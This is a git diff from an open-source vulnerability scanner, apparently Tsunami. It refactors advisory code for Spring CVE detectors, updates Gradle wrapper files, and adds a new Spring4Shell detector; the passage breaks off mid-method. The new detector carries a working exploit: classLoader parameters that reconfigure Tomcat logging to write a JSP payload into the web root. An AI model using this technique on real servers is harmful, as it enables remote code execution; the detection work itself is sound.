@rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/spring_cloud_gateway_cve_2022_22947/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202222947/Cve202222947VulnDetector.java b/community/detectors/spring_cloud_gateway_cve_2022_22947/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202222947/Cve202222947VulnDetector.java index d7217f5d3..306e047ab 100644 --- a/community/detectors/spring_cloud_gateway_cve_2022_22947/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202222947/Cve202222947VulnDetector.java +++ b/community/detectors/spring_cloud_gateway_cve_2022_22947/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202222947/Cve202222947VulnDetector.java @@ -110,6 +110,30 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2022_22947")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-22947")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL Code Injection") + .setRecommendation( + "Users of affected versions should apply the following remediation. 3.1.x users" + + " should upgrade to 3.1.1+. 3.0.x users should upgrade to 3.0.7+. If the" + + " Gateway actuator endpoint is not needed it should be disabled via " + + "management.endpoint.gateway.enabled: false. If the actuator is required" + + " it should be secured using Spring Security, " + + "see https://docs.spring.io/spring-boot/docs/current/reference/html/" + + "actuator.html#actuator.endpoints.security.") + .setDescription(VULN_DESCRIPTION) + .build()); + } + private String createRouter(NetworkService networkService) throws IOException { String router = UUID.randomUUID().toString().replace("-", "").substring(0, 6); String url = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + ROUTES + router; @@ -195,23 +219,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2022_22947")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL Code Injection") - .setRecommendation( - "Users of affected versions should apply the following remediation. 3.1.x users" - + " should upgrade to 3.1.1+. 3.0.x users should upgrade to 3.0.7+. If the" - + " Gateway actuator endpoint is not needed it should be disabled via " - + "management.endpoint.gateway.enabled: false. If the actuator is required" - + " it should be secured using Spring Security, " - + "see https://docs.spring.io/spring-boot/docs/current/reference/html/" - + "actuator.html#actuator.endpoints.security.") - .setDescription(VULN_DESCRIPTION)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/spring_cloud_gateway_cve_2022_22947/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202222947/Cve202222947VulnDetectorTest.java b/community/detectors/spring_cloud_gateway_cve_2022_22947/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202222947/Cve202222947VulnDetectorTest.java index 1609f7904..0ba167936 100644 --- a/community/detectors/spring_cloud_gateway_cve_2022_22947/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202222947/Cve202222947VulnDetectorTest.java +++ b/community/detectors/spring_cloud_gateway_cve_2022_22947/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202222947/Cve202222947VulnDetectorTest.java @@ -30,12 +30,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -99,25 +96,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2022_22947")) - .setSeverity(Severity.CRITICAL) - .setTitle( - "CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL Code Injection") - .setRecommendation( - "Users of affected versions should apply the following remediation. " - + "3.1.x users should upgrade to 3.1.1+. 3.0.x users should upgrade" - + " to 3.0.7+. If the Gateway actuator endpoint is not needed it " - + "should be disabled via management.endpoint.gateway.enabled: " - + "false. If the actuator is required it should be secured using" - + " Spring Security, see https://docs.spring.io/spring-boot/docs/" - + "current/reference/html/actuator.html#actuator.endpoints.security" - + ".") - .setDescription(Cve202222947VulnDetector.VULN_DESCRIPTION)) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/community/detectors/spring_framework_cve_2022_22965/build.gradle b/community/detectors/spring_framework_cve_2022_22965/build.gradle index 38f514833..57737c688 100644 --- a/community/detectors/spring_framework_cve_2022_22965/build.gradle +++ b/community/detectors/spring_framework_cve_2022_22965/build.gradle @@ -48,10 +48,10 @@ ext { okhttpVersion = '3.12.0' autoValueVersion = '1.7' tsunamiVersion = 'latest.release' - junitVersion = '4.13' + junitVersion = '4.13.1' mockitoVersion = '2.28.2' truthVersion = '1.0.1' - jsoupVersion = '1.9.2' + guiceVersion = '4.2.3' } dependencies { @@ -63,10 +63,10 @@ dependencies { testImplementation "junit:junit:${junitVersion}" testImplementation "org.mockito:mockito-core:${mockitoVersion}" + testImplementation "com.google.inject:guice:${guiceVersion}" testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.google.inject.extensions:guice-testlib:${guiceVersion}" testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}" - - implementation "org.jsoup:jsoup:${jsoupVersion}" } diff --git a/community/detectors/spring_framework_cve_2022_22965/gradle/wrapper/gradle-wrapper.jar b/community/detectors/spring_framework_cve_2022_22965/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/spring_framework_cve_2022_22965/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/spring_framework_cve_2022_22965/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/spring_framework_cve_2022_22965/gradle/wrapper/gradle-wrapper.properties b/community/detectors/spring_framework_cve_2022_22965/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/spring_framework_cve_2022_22965/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/spring_framework_cve_2022_22965/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/spring_framework_cve_2022_22965/gradlew b/community/detectors/spring_framework_cve_2022_22965/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/spring_framework_cve_2022_22965/gradlew +++ b/community/detectors/spring_framework_cve_2022_22965/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/spring_framework_cve_2022_22965/gradlew.bat b/community/detectors/spring_framework_cve_2022_22965/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/spring_framework_cve_2022_22965/gradlew.bat +++ b/community/detectors/spring_framework_cve_2022_22965/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring/SpringCve202222965Detector.java b/community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring/SpringCve202222965Detector.java deleted file mode 100644 index 9f4dc4ec3..000000000 --- a/community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring/SpringCve202222965Detector.java +++ /dev/null @@ -1,175 +0,0 @@ -/* - * Copyright 2022 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.spring; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.net.http.HttpRequest.get; -import static com.google.tsunami.common.net.http.HttpRequest.post; - -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.proto.CrawlResult; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Clock; -import java.time.Instant; -import javax.inject.Inject; - -/** A {@link VulnDetector} that detects Spring Framework RCE(CVE-2022-22965) */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "SpringCve202222965Detector", - version = "0.1", - description = "This detector checks for Spring Framework RCE(CVE-2022-22965).", - author = "C4o (syttcasd@gmail.com)", - bootstrapModule = SpringCve202222965DetectorBootstrapModule.class) -public final class SpringCve202222965Detector implements VulnDetector { - - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - private static final String VULNERABILITY_PAYLOAD_STRING_1 = - "class.module.classLoader.DefaultAssertionStatus=1"; - private static final String VULNERABILITY_PAYLOAD_STRING_2 = - "class.module.classLoader.DefaultAssertionStatus=2"; - - private final Clock utcClock; - private final HttpClient httpClient; - - @Inject - SpringCve202222965Detector(@UtcClock Clock utcClock, HttpClient httpClient) { - this.utcClock = checkNotNull(utcClock); - this.httpClient = checkNotNull(httpClient); - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(NetworkServiceUtils::isWebService) - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - private boolean isServiceVulnerable(NetworkService networkService) { - if (proofOfConcept( - NetworkServiceUtils.buildWebApplicationRootUrl(networkService), "GET", networkService)) { - return true; - } - if (networkService.getServiceContext().getWebServiceContext().getCrawlResultsCount() == 0) { - return false; - } - for (CrawlResult crawlResult : - networkService.getServiceContext().getWebServiceContext().getCrawlResultsList()) { - String targetUri = crawlResult.getCrawlTarget().getUrl(); - String httpMethod = crawlResult.getCrawlTarget().getHttpMethod(); - if (proofOfConcept(targetUri, httpMethod, networkService)) { - return true; - } - } - return false; - } - - private boolean proofOfConcept( - String targetUri, String httpMethod, NetworkService networkService) { - HttpResponse firstPoCResponse; - HttpResponse secondPoCResponse; - try { - switch (httpMethod) { - case "GET": - firstPoCResponse = - httpClient.send( - get(targetUri + "?" + VULNERABILITY_PAYLOAD_STRING_1).withEmptyHeaders().build(), - networkService); - secondPoCResponse = - httpClient.send( - get(targetUri + "?" + VULNERABILITY_PAYLOAD_STRING_2).withEmptyHeaders().build(), - networkService); - break; - case "POST": - firstPoCResponse = - httpClient.send( - post(targetUri + "?" + VULNERABILITY_PAYLOAD_STRING_1).withEmptyHeaders().build(), - networkService); - secondPoCResponse = - httpClient.send( - post(targetUri + "?" + VULNERABILITY_PAYLOAD_STRING_2).withEmptyHeaders().build(), - networkService); - break; - default: - logger.atWarning().log("Unable to query '%s'.", targetUri); - return false; - } - if (firstPoCResponse.status() == HttpStatus.OK - && secondPoCResponse.status() == HttpStatus.BAD_REQUEST) { - return true; - } - } catch (IOException e) { - logger.atWarning().withCause(e).log("Unable to query '%s'.", targetUri); - } - return false; - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2022_22965")) - .setSeverity(Severity.CRITICAL) - .setTitle("Spring Framework RCE CVE-2022-22965") - .setDescription( - "A Spring MVC or Spring WebFlux application running on JDK" - + " 9+ may be vulnerable to remote code execution (RCE) via data " - + "binding. The specific exploit requires the application to run " - + "on Tomcat as a WAR deployment. If the application is deployed " - + "as a Spring Boot executable jar, i.e. the default, it is not " - + "vulnerable to the exploit. However, the nature of the " - + "vulnerability is more general, and there may be other ways to " - + "exploit it.") - .setRecommendation( - "Users of affected versions should apply the following mitigation: " - + "5.3.x users should upgrade to 5.3.18+, 5.2.x users should " - + "upgrade to 5.2.20+.")) - .build(); - } -} diff --git a/community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring4shell/Annotations.java b/community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring4shell/Annotations.java new file mode 100644 index 000000000..0b18813c6 --- /dev/null +++ b/community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring4shell/Annotations.java @@ -0,0 +1,36 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.spring4shell; + +import static java.lang.annotation.ElementType.FIELD; +import static java.lang.annotation.ElementType.METHOD; +import static java.lang.annotation.ElementType.PARAMETER; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import javax.inject.Qualifier; + +/** Annotation for {@link SpringCve202222965Detector}. */ +final class Annotations { + @Qualifier + @Retention(RetentionPolicy.RUNTIME) + @Target({PARAMETER, METHOD, FIELD}) + @interface DelayBetweenRequests {} + + private Annotations() {} +} diff --git a/community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring4shell/SpringCve202222965Detector.java b/community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring4shell/SpringCve202222965Detector.java new file mode 100644 index 000000000..e5ac46cda --- /dev/null +++ b/community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring4shell/SpringCve202222965Detector.java @@ -0,0 +1,402 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.spring4shell; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static com.google.tsunami.common.net.http.HttpRequest.get; +import static com.google.tsunami.plugins.detectors.spring4shell.Annotations.DelayBetweenRequests; + +import com.google.common.annotations.VisibleForTesting; +import com.google.common.collect.ImmutableList; +import com.google.common.collect.ImmutableMap; +import com.google.common.flogger.GoogleLogger; +import com.google.common.util.concurrent.Uninterruptibles; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpMethod; +import com.google.tsunami.common.net.http.HttpRequest; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.plugin.payload.Payload; +import com.google.tsunami.plugin.payload.PayloadGenerator; +import com.google.tsunami.proto.CrawlResult; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.PayloadGeneratorConfig; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.net.URLEncoder; +import java.nio.charset.StandardCharsets; +import java.time.Clock; +import java.time.Duration; +import java.time.Instant; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import javax.inject.Inject; +import okhttp3.HttpUrl; + +/** A {@link VulnDetector} that detects Spring Framework RCE(CVE-2022-22965) */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "SpringCve202222965Detector", + version = "0.1", + description = "This detector checks for Spring Framework RCE(CVE-2022-22965).", + author = "C4o (syttcasd@gmail.com)", + bootstrapModule = SpringCve202222965DetectorBootstrapModule.class) +public final class SpringCve202222965Detector implements VulnDetector { + + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + private static final String PRELIMINARY_CHECK_PARAM = + "class.module.classLoader.DefaultAssertionStatus"; + // This JSP payload auto-deletes itself if you open it with "?delete=1" + private static final String JSP_CONTENT_TEMPLATE = + "<%@ page import=\"java.io.File\" %>\n" + + "{{PAYLOAD}}\n" + + "<% if(\"1\".equals(request.getParameter(\"delete\"))){ File thisFile=new" + + " File(application.getRealPath(request.getServletPath())); thisFile.delete();" + + " out.println(\"Deleted\"); } %>//"; + + private static final String LOG_PATTERN_PARAM = + "class.module.classLoader.resources.context.parent.pipeline.first.pattern"; + private static final String LOG_FILE_SUFFIX_PARAM = + "class.module.classLoader.resources.context.parent.pipeline.first.suffix"; + private static final String LOG_FILE_PREFIX_PARAM = + "class.module.classLoader.resources.context.parent.pipeline.first.prefix"; + private static final String LOG_DIRECTORY_PARAM = + "class.module.classLoader.resources.context.parent.pipeline.first.directory"; + private static final String LOG_FILE_DATE_FORMAT_PARAM = + "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat"; + + @VisibleForTesting public static final String JSP_FILENAME_PREFIX = "Tsunami_"; + + private final Clock utcClock; + private final HttpClient httpClient; + private final PayloadGenerator payloadGenerator; + private final int delayBetweenRequests; + private final String fileDateFormat; + private final String jspFileName; + + @Inject + SpringCve202222965Detector( + @UtcClock Clock utcClock, + HttpClient httpClient, + PayloadGenerator payloadGenerator, + @DelayBetweenRequests int delayBetweenRequests) { + this.utcClock = checkNotNull(utcClock); + this.httpClient = checkNotNull(httpClient); + this.payloadGenerator = checkNotNull(payloadGenerator); + this.delayBetweenRequests = delayBetweenRequests; + // It's important that fileDateFormat is always different to be able to trigger the exploit more + // than once. + this.fileDateFormat = String.valueOf(utcClock.millis()); + this.jspFileName = JSP_FILENAME_PREFIX + fileDateFormat + ".jsp"; + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(NetworkServiceUtils::isWebService) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2022_22965")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-22965")) + .setSeverity(Severity.CRITICAL) + .setTitle("Spring Framework RCE CVE-2022-22965") + .setDescription( + "A Spring MVC or Spring WebFlux application running on JDK" + + " 9+ may be vulnerable to remote code execution (RCE) via data " + + "binding. The specific exploit requires the application to run " + + "on Tomcat as a WAR deployment. If the application is deployed " + + "as a Spring Boot executable jar, i.e. the default, it is not " + + "vulnerable to the exploit. However, the nature of the " + + "vulnerability is more general, and there may be other ways to " + + "exploit it.") + .setRecommendation( + "Users of affected versions should apply the following mitigation: " + + "5.3.x users should upgrade to 5.3.18+, 5.2.x users should " + + "upgrade to 5.2.20+.") + .build()); + } + + private boolean isServiceVulnerable(NetworkService networkService) { + // Check root URL + if (check( + NetworkServiceUtils.buildWebApplicationRootUrl(networkService), + HttpMethod.GET, + networkService)) { + return true; + } + + // Check crawled pages + for (CrawlResult crawlResult : + networkService.getServiceContext().getWebServiceContext().getCrawlResultsList()) { + String targetUri = crawlResult.getCrawlTarget().getUrl(); + HttpMethod httpMethod = HttpMethod.valueOf(crawlResult.getCrawlTarget().getHttpMethod()); + if (check(targetUri, httpMethod, networkService)) { + return true; + } + } + return false; + } + + private boolean check(String targetUri, HttpMethod httpMethod, NetworkService networkService) { + if (!preliminaryCheck(targetUri, httpMethod, networkService)) { + return false; + } + + logger.atInfo().log("Preliminary check returned positive for %s", targetUri); + return exploit(targetUri, httpMethod, networkService); + } + + private boolean preliminaryCheck( + String targetUri, HttpMethod httpMethod, NetworkService networkService) { + /* + This method will try a preliminary detection method without running the full exploit. + Since DefaultAssertionStatus is a boolean, setting it to 1 should not return any error, + but trying to set it to 2 should return a BAD REQUEST error. + */ + try { + HttpRequest request = + HttpRequest.builder() + .setMethod(httpMethod) + .setUrl(targetUri + "?" + PRELIMINARY_CHECK_PARAM + "=1") + .withEmptyHeaders() + .build(); + + if (httpClient.send(request, networkService).status() != HttpStatus.OK) { + return false; + } + + request = + HttpRequest.builder() + .setMethod(httpMethod) + .setUrl(targetUri + "?" + PRELIMINARY_CHECK_PARAM + "=2") + .withEmptyHeaders() + .build(); + + if (httpClient.send(request, networkService).status() == HttpStatus.BAD_REQUEST) { + return true; + } + } catch (IOException e) { + logger.atWarning().withCause(e).log("Unable to query '%s'.", targetUri); + } + return false; + } + + private static String buildQueryString(Map parameters) { + List params = new ArrayList<>(parameters.size()); + for (Map.Entry entry : parameters.entrySet()) { + params.add( + String.format( + "%s=%s", + entry.getKey(), URLEncoder.encode(entry.getValue(), StandardCharsets.UTF_8))); + } + return String.join("&", params); + } + + private boolean exploit(String targetUri, HttpMethod httpMethod, NetworkService networkService) { + // Generate JSP content + PayloadGeneratorConfig payloadGeneratorConfig = + PayloadGeneratorConfig.newBuilder() + .setExecutionEnvironment( + PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) + .setInterpretationEnvironment(PayloadGeneratorConfig.InterpretationEnvironment.JSP) + .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.REFLECTIVE_RCE) + .build(); + + Payload payload = this.payloadGenerator.generateNoCallback(payloadGeneratorConfig); + + return uploadJsp(targetUri, httpMethod, networkService, payload) + && checkUploadedJsp(targetUri, networkService, payload); + } + + private boolean uploadJsp( + String targetUri, HttpMethod httpMethod, NetworkService networkService, Payload payload) { + /* + From https://github.com/lunasec-io/Spring4Shell-POC/blob/master/exploit.py + The exploit involves modifying the logs configuration to write a JSP file in + Tomcat's root directory. The file is written on the request AFTER the one setting + the configuration. + */ + + HttpHeaders httpHeaders = HttpHeaders.builder().addHeader("Connection", "close").build(); + + try { + // Generate JSP content + logger.atInfo().log("Changing the log configuration to write the JSP file."); + String jspContent = + JSP_CONTENT_TEMPLATE + .replace("{{PAYLOAD}}", payload.getPayload()) + .replace("%", "%{perc}i") + .replace("Runtime", "%{rt}i"); + + Map exploitParams = + ImmutableMap.of( + LOG_DIRECTORY_PARAM, + "webapps/ROOT", + LOG_FILE_PREFIX_PARAM, + JSP_FILENAME_PREFIX, + LOG_FILE_DATE_FORMAT_PARAM, + this.fileDateFormat, + LOG_FILE_SUFFIX_PARAM, + ".jsp", + LOG_PATTERN_PARAM, + jspContent); + + // 